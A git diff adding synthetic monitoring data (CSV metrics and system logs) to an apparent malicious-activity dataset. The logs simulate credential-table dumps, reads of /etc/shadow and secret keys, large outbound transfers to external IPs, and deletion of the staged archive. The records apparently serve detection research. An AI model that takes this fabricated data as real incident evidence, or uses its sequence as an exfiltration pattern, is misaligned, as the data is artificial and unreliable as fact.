+2025-08-26T03:00:40Z,10.06,44.47,32.05,1.45,0.67 +2025-08-26T03:00:45Z,10.33,38.23,27.9,0.81,1.09 +2025-08-26T03:00:50Z,11.57,36.3,28.34,0.8,0.59 +2025-08-26T03:00:55Z,10.91,40.76,37.47,0.66,1.48 +2025-08-26T03:01:00Z,13.48,42.86,22.41,1.26,0.55 +2025-08-26T03:01:05Z,12.4,40.01,30.57,1.07,1.12 +2025-08-26T03:01:10Z,11.69,37.03,37.39,0.8,1.43 +2025-08-26T03:01:15Z,10.22,41.39,30.58,1.39,1.22 +2025-08-26T03:01:20Z,11.33,38.03,22.82,0.65,1.43 +2025-08-26T03:01:25Z,13.13,44.26,37.04,1.04,1.0 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+2025-08-26T03:06:20Z,28.57,37.33,33.56,0.91,42.36 +2025-08-26T03:06:25Z,25.11,35.19,22.53,1.49,32.64 +2025-08-26T03:06:30Z,24.3,38.35,35.55,1.06,45.23 +2025-08-26T03:06:35Z,23.86,43.48,38.63,0.96,38.08 +2025-08-26T03:06:40Z,24.7,38.39,25.0,1.1,46.29 +2025-08-26T03:06:45Z,24.49,38.67,24.77,0.73,46.94 +2025-08-26T03:06:50Z,27.43,40.24,28.17,1.29,38.65 +2025-08-26T03:06:55Z,26.33,41.24,33.48,1.31,32.28 +2025-08-26T03:07:00Z,29.86,37.83,21.42,1.32,48.5 +2025-08-26T03:07:05Z,25.9,44.57,23.32,1.06,45.33 +2025-08-26T03:07:10Z,27.65,37.52,25.96,1.04,36.8 +2025-08-26T03:07:15Z,25.59,41.83,27.65,1.41,48.95 +2025-08-26T03:07:20Z,27.22,44.87,34.96,0.62,33.48 +2025-08-26T03:07:25Z,29.15,43.12,32.75,1.14,46.62 diff --git a/mali_dataset/scenario_4/mali_4_13.log b/mali_dataset/scenario_4/mali_4_13.log new file mode 100644 index 0000000000000000000000000000000000000000..4fb5a5021c20f7c502a00fda496c48a0d9c87e1f --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_13.log @@ -0,0 +1,31 @@ +Aug 26 03:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 03:00:00 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:00:40 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:01:15 systemd[1]: Starting daily clean up activities... +Aug 26 03:01:20 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:02:00 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:02:30 systemd[1]: Starting daily clean up activities... +Aug 26 03:02:35 db-postgres[5555]: STATEMENT: User "admin" executed query: SELECT * FROM user_credentials; +Aug 26 03:02:40 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:02:45 auditd[1122]: type=PATH msg=audit(1756177365.0:556): item=0 name="/etc/shadow" inode=131078 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 03:02:45 auditd[1122]: type=SYSCALL msg=audit(1756177365.0:556): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd0f3a6b60 a2=90800 a3=0 items=1 ppid=1234 pid=11967 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="sensitive-read" +Aug 26 03:03:00 auditd[1122]: type=PATH msg=audit(1756177380.0:559): item=0 name="/srv/secrets/prod.key" inode=54321 dev=08:01 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 03:03:00 auditd[1122]: type=SYSCALL msg=audit(1756177380.0:559): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=7ffd0f3a6b60 a2=90800 a3=0 items=1 ppid=1234 pid=11967 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="sensitive-read" +Aug 26 03:03:20 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:03:30 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=51092 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=5328668 +Aug 26 03:03:45 systemd[1]: Starting daily clean up activities... +Aug 26 03:04:00 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=41051 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=5446580 +Aug 26 03:04:00 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:04:30 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=47878 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=5321234 +Aug 26 03:04:40 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:05:00 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=47164 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=4632491 +Aug 26 03:05:00 systemd[1]: Starting daily clean up activities... +Aug 26 03:05:20 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:05:30 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=46638 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=5093902 +Aug 26 03:06:00 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=48993 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=5227579 +Aug 26 03:06:00 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:06:15 systemd[1]: Starting daily clean up activities... +Aug 26 03:06:30 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=59082 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=4585609 +Aug 26 03:06:40 web-app[4321]: GET /api/v1/status status=200 OK +Aug 26 03:07:00 firewall[2055]: INFO TCP connection established: SRC_IP=172.16.0.10 SRC_PORT=52015 DST_IP=104.22.18.119 DST_PORT=443 PROTO=TCP BYTES_OUT=5484628 +Aug 26 03:07:20 web-app[4321]: GET /api/v1/status status=200 OK diff --git a/mali_dataset/scenario_4/mali_4_14.csv b/mali_dataset/scenario_4/mali_4_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..1d4254a89cb30f4871d0d9f29a62194254f28127 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T02:00:00Z,11.1,42.61,28.02,1.67,0.5 +2025-08-26T02:00:05Z,15.91,40.12,30.33,1.45,1.17 +2025-08-26T02:00:10Z,16.0,44.85,30.29,0.91,1.28 +2025-08-26T02:00:15Z,13.19,33.78,30.83,2.04,1.35 +2025-08-26T02:00:20Z,14.85,41.6,33.38,2.02,1.99 +2025-08-26T02:00:25Z,16.81,42.76,32.42,1.02,0.95 +2025-08-26T02:00:30Z,18.47,36.58,31.72,1.7,1.21 +2025-08-26T02:00:35Z,15.24,35.22,29.55,1.88,1.21 +2025-08-26T02:00:40Z,18.79,43.85,39.51,1.47,1.03 +2025-08-26T02:00:45Z,13.05,36.08,28.45,1.04,1.63 +2025-08-26T02:00:50Z,10.16,38.14,24.45,1.11,1.65 +2025-08-26T02:00:55Z,14.29,38.87,44.65,1.56,1.19 +2025-08-26T02:01:00Z,20.44,39.57,37.76,2.0,0.92 +2025-08-26T02:01:05Z,19.07,35.12,32.37,1.46,0.5 +2025-08-26T02:01:10Z,11.7,33.8,28.94,0.75,1.48 +2025-08-26T02:01:15Z,15.86,33.83,28.43,1.22,0.62 +2025-08-26T02:01:20Z,8.51,39.09,22.81,1.2,0.83 +2025-08-26T02:01:25Z,14.54,38.77,35.37,1.18,1.01 +2025-08-26T02:01:30Z,14.44,40.39,29.36,1.78,0.92 +2025-08-26T02:01:35Z,16.9,44.35,30.29,1.32,1.79 +2025-08-26T02:01:40Z,14.36,33.57,25.61,1.06,1.29 +2025-08-26T02:01:45Z,12.93,44.65,28.66,1.47,1.72 +2025-08-26T02:01:50Z,16.95,39.9,28.01,0.85,1.52 +2025-08-26T02:01:55Z,16.77,38.82,31.17,1.24,1.8 +2025-08-26T02:02:00Z,12.59,38.79,34.26,1.38,2.14 +2025-08-26T02:02:05Z,13.1,35.69,37.69,0.84,1.37 +2025-08-26T02:02:10Z,16.38,37.74,17.37,0.86,1.0 +2025-08-26T02:02:15Z,16.02,36.71,30.34,0.92,1.15 +2025-08-26T02:02:20Z,13.39,32.32,30.81,2.43,1.69 +2025-08-26T02:02:25Z,17.64,39.39,30.12,1.87,1.04 +2025-08-26T02:02:30Z,66.21,69.48,94.72,1.44,1.04 +2025-08-26T02:02:35Z,65.41,61.15,83.11,0.83,2.59 +2025-08-26T02:02:40Z,58.31,69.7,84.26,1.43,4.14 +2025-08-26T02:02:45Z,67.62,64.82,85.35,1.15,5.69 +2025-08-26T02:02:50Z,64.34,80.58,82.61,1.97,7.24 +2025-08-26T02:02:55Z,75.0,66.38,100.49,0.96,8.8 +2025-08-26T02:03:00Z,67.53,77.3,94.09,1.55,10.35 +2025-08-26T02:03:05Z,75.0,70.68,84.41,1.72,11.9 +2025-08-26T02:03:10Z,55.55,74.01,92.17,1.04,13.45 +2025-08-26T02:03:15Z,59.78,62.37,83.92,1.07,15.0 +2025-08-26T02:03:20Z,70.21,66.74,97.98,1.05,14.57 +2025-08-26T02:03:25Z,65.59,74.8,94.85,1.63,15.78 +2025-08-26T02:03:30Z,68.41,71.23,99.84,2.0,17.03 +2025-08-26T02:03:35Z,66.97,73.72,82.88,1.91,13.41 +2025-08-26T02:03:40Z,56.5,71.11,92.46,0.66,16.26 +2025-08-26T02:03:45Z,61.87,66.39,98.49,2.16,14.92 +2025-08-26T02:03:50Z,65.52,74.64,103.86,1.37,14.58 +2025-08-26T02:03:55Z,71.65,84.51,94.81,1.31,16.56 +2025-08-26T02:04:00Z,69.29,67.62,92.46,0.73,14.53 +2025-08-26T02:04:05Z,66.18,67.68,89.27,1.52,17.13 +2025-08-26T02:04:10Z,63.27,64.39,80.0,1.69,14.02 +2025-08-26T02:04:15Z,57.01,62.62,102.22,1.42,13.52 +2025-08-26T02:04:20Z,67.12,77.22,86.16,0.85,17.43 +2025-08-26T02:04:25Z,72.29,77.14,89.8,2.27,15.49 +2025-08-26T02:04:30Z,62.42,64.92,83.48,1.95,13.82 +2025-08-26T02:04:35Z,73.97,78.86,80.0,0.81,16.95 +2025-08-26T02:04:40Z,63.22,69.69,85.99,1.74,16.16 +2025-08-26T02:04:45Z,61.07,60.0,88.12,1.76,17.05 +2025-08-26T02:04:50Z,59.84,63.55,80.32,1.72,14.36 +2025-08-26T02:04:55Z,58.13,60.0,87.16,1.48,16.86 +2025-08-26T02:05:00Z,75.0,75.59,92.64,0.93,17.33 +2025-08-26T02:05:05Z,73.2,71.01,102.81,1.89,12.24 +2025-08-26T02:05:10Z,71.37,67.15,89.26,0.5,12.84 +2025-08-26T02:05:15Z,75.0,69.73,81.48,1.48,15.79 +2025-08-26T02:05:20Z,63.33,73.47,82.1,1.64,12.29 +2025-08-26T02:05:25Z,64.54,74.87,94.04,2.48,13.08 +2025-08-26T02:05:30Z,73.48,77.71,89.66,1.66,12.69 +2025-08-26T02:05:35Z,65.16,70.29,99.27,0.6,16.66 +2025-08-26T02:05:40Z,75.0,77.39,85.45,1.19,16.39 +2025-08-26T02:05:45Z,69.94,82.19,92.7,1.98,14.21 +2025-08-26T02:05:50Z,70.81,69.76,85.32,2.26,14.18 +2025-08-26T02:05:55Z,58.56,76.32,96.71,0.98,16.31 +2025-08-26T02:06:00Z,69.19,76.66,89.51,1.18,14.21 +2025-08-26T02:06:05Z,62.91,64.13,86.13,1.1,16.12 +2025-08-26T02:06:10Z,70.57,71.75,90.4,1.26,15.61 +2025-08-26T02:06:15Z,63.81,73.43,80.0,2.31,14.85 +2025-08-26T02:06:20Z,62.68,85.0,85.68,0.5,15.5 +2025-08-26T02:06:25Z,65.43,71.4,90.19,1.5,15.8 +2025-08-26T02:06:30Z,62.15,63.19,97.24,1.13,14.54 +2025-08-26T02:06:35Z,75.0,76.8,89.21,1.73,16.05 +2025-08-26T02:06:40Z,70.11,67.23,80.0,1.89,13.65 +2025-08-26T02:06:45Z,70.8,76.43,88.15,0.98,13.93 +2025-08-26T02:06:50Z,55.0,72.17,80.0,1.05,14.62 +2025-08-26T02:06:55Z,63.06,77.37,84.86,2.13,14.43 +2025-08-26T02:07:00Z,66.73,60.0,94.77,2.05,12.09 +2025-08-26T02:07:05Z,58.79,73.51,86.86,0.84,17.17 +2025-08-26T02:07:10Z,61.49,71.36,86.85,1.25,14.69 +2025-08-26T02:07:15Z,74.2,68.7,97.64,2.31,14.69 +2025-08-26T02:07:20Z,57.07,74.32,94.56,1.82,17.84 +2025-08-26T02:07:25Z,62.11,70.01,99.86,0.5,16.29 diff --git a/mali_dataset/scenario_4/mali_4_14.log b/mali_dataset/scenario_4/mali_4_14.log new file mode 100644 index 0000000000000000000000000000000000000000..5ce472de0a27010184b34600f6472ce28b8e6b3c --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_14.log @@ -0,0 +1,16 @@ +Aug 26 02:00:00 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:00:25 systemd[1]: Starting daily clean up activities... +Aug 26 02:00:50 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:01:40 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:02:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:02:30 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:02:40 db-server[1122]: [postgres] LOG: statement: SELECT user_id, email, password_hash, ssn, address FROM user_credentials; +Aug 26 02:02:50 auditd[555]: type=SYSCALL msg=audit(1756173770.000:751): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc123abcde a2=90800 a3=0 items=1 ppid=9875 pid=9876 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 tty=(none) ses=2 comm="data_exporter" exe="/usr/local/bin/data_exporter" key="sensitive_access" +Aug 26 02:02:50 auditd[555]: type=PATH msg=audit(1756173770.000:751): item=0 name="/var/lib/postgresql/13/main/base/16384/2676" inode=12345 dev=fd:00 mode=0600 ouid=110 ogid=115 rdev=00:00 nametype=NORMAL +Aug 26 02:02:55 netflow-proxy[4321]: FLOW_START src_ip=10.0.1.5 dest_ip=185.125.190.27 proto=TCP src_port=54321 dest_port=443 +Aug 26 02:03:20 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:04:10 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:05:00 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:05:50 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:06:40 web-server[3105]: GET /api/v1/status status=200 OK +Aug 26 02:07:25 netflow-proxy[4321]: FLOW_END src_ip=10.0.1.5 dest_ip=185.125.190.27 proto=TCP src_port=54321 dest_port=443 bytes_out=4278294937 duration=275s diff --git a/mali_dataset/scenario_4/mali_4_15.csv b/mali_dataset/scenario_4/mali_4_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..cfa62ae5f543724e90b68e23ac9d6c1451664deb --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T01:00:00Z,13.32586741998982,40.325835334422656,28.051071414470297,1.036482102756295,0.7713381525871384 +2025-08-16T01:00:05Z,13.81178056705889,40.41854405628776,35.58773673079027,0.9014168853270746,0.9729857578822942 +2025-08-16T01:00:10Z,13.641725294832897,37.85661955230286,22.368543293061734,1.1705054988915817,0.4623980145449567 +2025-08-16T01:00:15Z,13.61146413738978,41.84929840327043,21.30957169407132,0.7544303285373053,0.888567493967375 +2025-08-16T01:00:20Z,15.237998229845765,40.56657826393624,17.38973286944633,0.9132778209661385,0.916508411128738 +2025-08-16T01:00:25Z,13.564516960891488,41.132665397372044,37.44210691492076,0.7754204842058964,0.7729641069597417 +2025-08-16T01:00:30Z,18.840107022729224,41.11285076656738,34.98422046369746,0.7558352469528413,1.1392704374923992 +2025-08-16T01:00:35Z,8.84091091668926,45.0,29.818765653229836,1.0546472313927513,0.6875045501423032 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/dev/null +++ b/mali_dataset/scenario_4/mali_4_15.log @@ -0,0 +1,18 @@ +Aug 16 01:00:00 systemd[1]: Starting daily clean up activities... +Aug 16 01:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:00:50 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:01:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:02:05 systemd[1]: Starting daily clean up activities... +Aug 16 01:02:20 CRON[3589]: (root) CMD (./backup.sh) +Aug 16 01:02:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:02:55 auditd[514]: type=SYSCALL msg=audit(1755306175:123): arch=c000003e syscall=257 openat success=yes exit=3 a0=ffffff9c a1=7ffd1b9a8e10 a2=80000 a3=0 items=1 ppid=1234 pid=3590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="backup.sh" exe="/bin/bash" key="sensitive_read" path="/var/db/user_credentials.db" +Aug 16 01:02:55 db-prod[5072]: AUDIT: user='backup_user', query='SELECT * FROM user_credentials;' +Aug 16 01:03:10 auditd[514]: type=SYSCALL msg=audit(1755306190:124): arch=c000003e syscall=257 openat success=yes exit=3 a0=ffffff9c a1=7ffd1b9a8e10 a2=80000 a3=0 items=1 ppid=1234 pid=3590 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="backup.sh" exe="/bin/bash" key="sensitive_read" path="/etc/shadow" +Aug 16 01:03:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:04:10 systemd[1]: Starting daily clean up activities... +Aug 16 01:04:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:05:00 netflow-monitor[987]: FLOW: src=10.0.1.15:44332 dst=185.125.190.59:443 proto=TCP action=ALLOW bytes_out=85340160 duration=150s +Aug 16 01:05:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:05:50 web-app[1234]: GET /api/v1/status status=200 OK +Aug 16 01:06:15 systemd[1]: Starting daily clean up activities... +Aug 16 01:06:40 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/mali_dataset/scenario_4/mali_4_16.csv b/mali_dataset/scenario_4/mali_4_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..534e2b7664fe6f4391803d1999ebe730537f4552 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T03:00:00Z,12.4,36.96,23.02,1.49,1.67 +2025-08-26T03:00:05Z,15.61,35.09,25.33,0.52,1.21 +2025-08-26T03:00:10Z,15.67,38.64,25.29,0.87,1.18 +2025-08-26T03:00:15Z,13.79,30.33,25.83,1.47,1.58 +2025-08-26T03:00:20Z,14.9,36.2,28.38,1.18,0.84 +2025-08-26T03:00:25Z,16.21,37.07,27.42,0.8,0.89 +2025-08-26T03:00:30Z,17.31,32.43,26.72,0.79,1.68 +2025-08-26T03:00:35Z,15.16,31.41,24.55,1.22,1.31 +2025-08-26T03:00:40Z,17.53,37.88,34.51,1.37,1.26 +2025-08-26T03:00:45Z,13.7,32.06,23.45,1.19,1.44 +2025-08-26T03:00:50Z,11.77,33.6,19.45,0.6,1.39 +2025-08-26T03:00:55Z,14.53,34.15,39.65,0.98,1.13 +2025-08-26T03:01:00Z,18.62,34.67,32.76,1.07,1.91 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b/mali_dataset/scenario_4/mali_4_16.log new file mode 100644 index 0000000000000000000000000000000000000000..a4eea9c5f83070dd96a3d81a2ab112540e43c532 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_16.log @@ -0,0 +1,26 @@ +Aug 26 03:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:01:15 systemd[1]: Starting daily clean up activities... +Aug 26 03:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:01:50 db-prod[5555]: AUDIT - User 'prod_readonly' executed query: SELECT * FROM user_credentials LIMIT 100000; +Aug 26 03:02:00 auditd[514]: type=SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd3a1f3b80 a2=90800 a3=0 items=1 ppid=1 pid=8814 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="backup.sh" exe="/bin/bash" key="secret_access" +Aug 26 03:02:00 auditd[514]: type=PATH item=0 name="/var/www/prod/secrets/prod.key" inode=131117 dev=fd:01 mode=0100600 ouid=33 ogid=33 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 03:02:20 auditd[514]: type=SYSCALL arch=c000003e syscall=2 success=yes exit=4 a0=55a8e0f8c210 a1=0 a2=7ffd3a1f3c30 a3=7ffd3a1f3b80 items=1 ppid=8814 pid=8815 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="gzip" exe="/bin/gzip" key="secret_access" +Aug 26 03:02:20 auditd[514]: type=PATH item=0 name="/tmp/user_credentials.sql.gz" inode=131569 dev=fd:01 mode=0100644 ouid=33 ogid=33 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 03:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:02:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.10 DST=185.125.190.55 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=49152 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Aug 26 03:02:55 pan: 1,2025/08/26 03:02:55,0,TRAFFIC,end,1,2025/08/26 03:02:55,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:02:55,0,any,0,1234567,2025-08-26T03:02:55Z,0,0,0,0,0,0,0,0 +Aug 26 03:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:03:20 pan: 1,2025/08/26 03:03:20,0,TRAFFIC,end,1,2025/08/26 03:03:20,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:03:20,0,any,0,1234567,2025-08-26T03:03:20Z,0,0,0,0,0,0,0,0 +Aug 26 03:03:45 pan: 1,2025/08/26 03:03:45,0,TRAFFIC,end,1,2025/08/26 03:03:45,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:03:45,0,any,0,1234567,2025-08-26T03:03:45Z,0,0,0,0,0,0,0,0 +Aug 26 03:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:04:10 pan: 1,2025/08/26 03:04:10,0,TRAFFIC,end,1,2025/08/26 03:04:10,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:04:10,0,any,0,1234567,2025-08-26T03:04:10Z,0,0,0,0,0,0,0,0 +Aug 26 03:04:35 pan: 1,2025/08/26 03:04:35,0,TRAFFIC,end,1,2025/08/26 03:04:35,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:04:35,0,any,0,1234567,2025-08-26T03:04:35Z,0,0,0,0,0,0,0,0 +Aug 26 03:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:05:00 pan: 1,2025/08/26 03:05:00,0,TRAFFIC,end,1,2025/08/26 03:05:00,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:05:00,0,any,0,1234567,2025-08-26T03:05:00Z,0,0,0,0,0,0,0,0 +Aug 26 03:05:25 pan: 1,2025/08/26 03:05:25,0,TRAFFIC,end,1,2025/08/26 03:05:25,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:05:25,0,any,0,1234567,2025-08-26T03:05:25Z,0,0,0,0,0,0,0,0 +Aug 26 03:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:05:50 pan: 1,2025/08/26 03:05:50,0,TRAFFIC,end,1,2025/08/26 03:05:50,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:05:50,0,any,0,1234567,2025-08-26T03:05:50Z,0,0,0,0,0,0,0,0 +Aug 26 03:06:15 pan: 1,2025/08/26 03:06:15,0,TRAFFIC,end,1,2025/08/26 03:06:15,172.17.0.10,185.125.190.55,172.17.0.10,10.1.1.2,prod-backup,,tcp,allow,49152,443,49152,443,0,0,0,0,2025/08/26 03:06:15,0,any,0,1234567,2025-08-26T03:06:15Z,0,0,0,0,0,0,0,0 +Aug 26 03:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 03:06:45 www-data[8819]: rm /tmp/user_credentials.sql.gz diff --git a/mali_dataset/scenario_4/mali_4_17.csv b/mali_dataset/scenario_4/mali_4_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..95ac22e6687c843c01be54447e633004a8f29edf --- /dev/null +++ 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+2025-08-26T02:06:10Z,39.32,48.85,33.17,1.13,8790.44 +2025-08-26T02:06:15Z,34.33,42.63,42.6,1.23,8359.63 +2025-08-26T02:06:20Z,37.76,42.16,28.69,1.22,9361.39 +2025-08-26T02:06:25Z,36.46,45.68,38.42,1.09,9890.73 +2025-08-26T02:06:30Z,31.35,44.2,30.45,1.35,11843.24 +2025-08-26T02:06:35Z,42.31,42.71,30.11,1.31,8453.96 +2025-08-26T02:06:40Z,44.2,47.55,36.95,1.19,8448.64 +2025-08-26T02:06:45Z,12.28,40.07,24.49,1.15,1.46 +2025-08-26T02:06:50Z,16.38,38.82,25.76,1.32,1.38 +2025-08-26T02:06:55Z,17.97,39.66,39.49,1.34,0.97 +2025-08-26T02:07:00Z,15.0,39.69,20.6,1.43,1.28 +2025-08-26T02:07:05Z,15.26,37.87,30.74,1.03,0.99 +2025-08-26T02:07:10Z,18.01,38.02,27.57,1.34,0.94 +2025-08-26T02:07:15Z,12.63,42.37,28.6,1.25,1.1 +2025-08-26T02:07:20Z,11.5,44.61,34.4,1.07,0.97 +2025-08-26T02:07:25Z,16.96,42.25,26.79,1.16,1.26 diff --git a/mali_dataset/scenario_4/mali_4_17.log b/mali_dataset/scenario_4/mali_4_17.log new file mode 100644 index 0000000000000000000000000000000000000000..396a709e8b7f20d340aa8f95adbca4b5fbfe9d78 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_17.log @@ -0,0 +1,30 @@ +Aug 26 02:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:02:05 systemd[1]: Starting daily clean up activities... +Aug 26 02:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:02:30 mysqld[5506]: INFO User 'backup_user' executed query: SELECT * FROM user_data; +Aug 26 02:02:40 auditd[1101]: type=SYSCALL msg=audit(1756173760:256): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f2b6e90 a2=90800 a3=0 items=1 ppid=4187 pid=4188 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="bash" exe="/bin/bash" key="access-sensitive" +Aug 26 02:02:40 auditd[1101]: type=PATH msg=audit(1756173760:256): item=0 name="/var/backups/db.sql.gz" inode=12345 dev=fd:00 mode=0100640 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 02:02:55 auditd[1101]: type=SYSCALL msg=audit(1756173775:257): ... pid=4188 comm="bash" exe="/bin/bash" key="access-sensitive" +Aug 26 02:02:55 auditd[1101]: type=PATH msg=audit(1756173775:257): item=0 name="/etc/shadow" ... +Aug 26 02:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:03:30 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:03:45 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:04:00 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 